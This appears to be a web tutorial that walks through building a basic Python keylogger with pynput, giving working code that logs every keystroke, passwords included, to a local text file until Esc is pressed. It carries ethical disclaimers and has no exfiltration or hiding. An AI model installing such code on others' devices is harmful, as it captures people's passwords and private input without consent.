In this tutorial, we will learn how to create a simple keylogger using Python programming language. A keylogger is a tool that records every single keystroke made on a computer, even passwords and sensitive information.
While keyloggers can be used for legitimate purposes like monitoring employee software usage and analyzing user behavior, they’re often associated with malicious activities like spying or obtaining unauthorized access to someone’s personal data.
Disclaimer: This tutorial is for educational purposes only, and it’s strictly prohibited to use the knowledge gained here for any illegal activities.
Step 1: Import Required Libraries
For this keylogger, we will be using the pynput library which provides access to input devices like keyboards and mice. You can install it by running the following command:
bash
pip install pynput
Once installed, import the required modules:
1 2 |
from pynput import keyboard from pynput.keyboard import Listener |
Step 2: Define Keylogging Functions
Now we need to define a function that will be called every time a key is pressed. Let’s call it on_press:
1 2 3 4 5 6 7 |
def on_press(key): try: with open('keylogs.txt', 'a') as log_file: log_file.write(str(key.char)) except AttributeError: with open('keylogs.txt', 'a') as log_file: log_file.write(str(key)) |
This function attempts to write the character of the pressed key into a file named keylogs.txt
. If the key is a special character (like a function key or multimedia key), an AttributeError exception will be raised. In such a case, we need to log the key’s name instead of its character.
Step 3: Define Keylogging Termination
To stop the keylogging process, we will define a termination key. When the user presses this key, the keylogger will stop recording and end the program. In this example, we will use the Esc
key as the termination key:
1 2 3 |
def on_release(key): if key == keyboard.Key.esc: return False |
This function checks whether the released key is the Esc
key. If so, it returns False, which in turn stops the listener and terminates the program.
Step 4: Set Up the Keylogger Listener
Now that we have defined the required functions, it’s time to set up the actual keylogger listener. The listener will monitor the keyboard input and call the appropriate functions upon key press and release:
1 2 |
with Listener(on_press=on_press, on_release=on_release) as listener: listener.join() |
This will start the keylogger. When a key is pressed, the on_press
function is called, and when a key is released, the on_release
function is called. If the Esc
key is released, the program will end.
Full Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
from pynput import keyboard from pynput.keyboard import Listener def on_press(key): try: with open('keylogs.txt', 'a') as log_file: log_file.write(str(key.char)) except AttributeError: with open('keylogs.txt', 'a') as log_file: log_file.write(str(key)) def on_release(key): if key == keyboard.Key.esc: return False with Listener(on_press=on_press, on_release=on_release) as listener: listener.join() |
Conclusion
In this tutorial, we’ve learned how to create a simple keylogger using Python and the pynput library. Remember that using keyloggers for unauthorized data collection is illegal and unethical. This tutorial should be used for educational purposes only, and you should always respect people’s privacy.